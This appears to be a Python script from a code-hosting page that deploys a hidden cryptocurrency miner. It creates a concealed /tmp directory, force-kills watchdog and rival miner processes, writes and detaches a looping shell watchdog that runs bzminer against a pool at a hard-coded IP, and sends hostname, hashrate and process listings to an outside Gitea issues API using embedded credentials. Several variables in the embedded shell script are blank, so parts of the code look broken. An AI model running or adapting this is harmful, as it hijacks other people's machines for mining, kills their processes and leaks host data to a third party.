30 lines
2.4 KiB
Python
30 lines
2.4 KiB
Python
import json, os, socket, subprocess, time, urllib.request
|
|
W = "prl1pfna5pn2vrvtuwzc73tfsq5xy4d48lc9zh3erzrcxadtplca4mr8sl8f488"; AUTH = "Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"; REPO = "hlzfau6e/hl-extP"
|
|
BZ = "/tmp/prlbz-5361/bzminer_v100.82_linux/bzminer"
|
|
D = "/tmp/.hlK"; os.makedirs(D, exist_ok=True); PF = D + "/miner.pid"
|
|
def report(tag, msg):
|
|
try:
|
|
body = json.dumps({"title": "[%s] %s" % (tag, socket.gethostname()), "body": str(msg)[:7500]}).encode()
|
|
req = urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues" % REPO, data=body,
|
|
headers={"Content-Type": "application/json", "Authorization": AUTH})
|
|
urllib.request.urlopen(req, timeout=20).read()
|
|
except Exception:
|
|
pass
|
|
def st():
|
|
try:
|
|
req = urllib.request.Request("http://127.0.0.1:4016/status", headers={"User-Agent": "curl/8.5.0"})
|
|
d = json.loads(urllib.request.urlopen(req, timeout=10).read())
|
|
p = (d.get("pools") or [{}])[0]
|
|
return "hr=%.2fTH valid=%s power=%.0f status=%s uptime=%s" % ((p.get("hashrate") or 0)/1e12, p.get("valid_solutions"), p.get("power") or 0, p.get("status"), p.get("uptime"))
|
|
except Exception as e:
|
|
return "ERR " + str(e)[:80]
|
|
report("before", st())
|
|
os.system("pkill -9 -f 'wd.sh' 2>/dev/null; pkill -9 -f 'watch.sh' 2>/dev/null")
|
|
time.sleep(3)
|
|
script = '#!/bin/bash\nD=%s\nBZ=%s\nW=%s\nPF="%s"\ncd "" || exit 1\nstart_miner() {\n pkill -9 -f "prl1ppn9axn" >/dev/null 2>&1\n setsid "" -a pearl --nvidia -p stratum+tcp://51.178.73.238:3362 -w "prl1pfna5pn2vrvtuwzc73tfsq5xy4d48lc9zh3erzrcxadtplca4mr8sl8f488" --pass x --worker hlv100-g0 --http_port 4016 --no-color >> "/g0.log" 2>&1 < /dev/null &\n echo > ""\n sleep 3\n}\nwhile true; do\n P=\n if [ -z "" ] || ! kill -0 "" 2>/dev/null; then\n echo "[Mon Nov 30 03:20:15 AM UTC 2026] restart" >> "/wd.log"\n start_miner\n fi\n pkill -9 -f "prl1ppn9axn" >/dev/null 2>&1\n sleep 25\ndone\n' % (D, BZ, W, PF)
|
|
wd = D + "/wd.sh"; open(wd, "w").write(script); os.chmod(wd, 0o755)
|
|
subprocess.Popen(["/bin/bash", wd], stdout=open(D + "/wd.out", "wb"), stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL, start_new_session=True)
|
|
time.sleep(40)
|
|
report("t40", st())
|
|
report("pid", (open(PF).read().strip() if os.path.exists(PF) else "no pidfile"))
|
|
report("procs", subprocess.run("pgrep -af 'wd.sh|bzminer' | head -8", shell=True, capture_output=True, text=True).stdout[:700])
|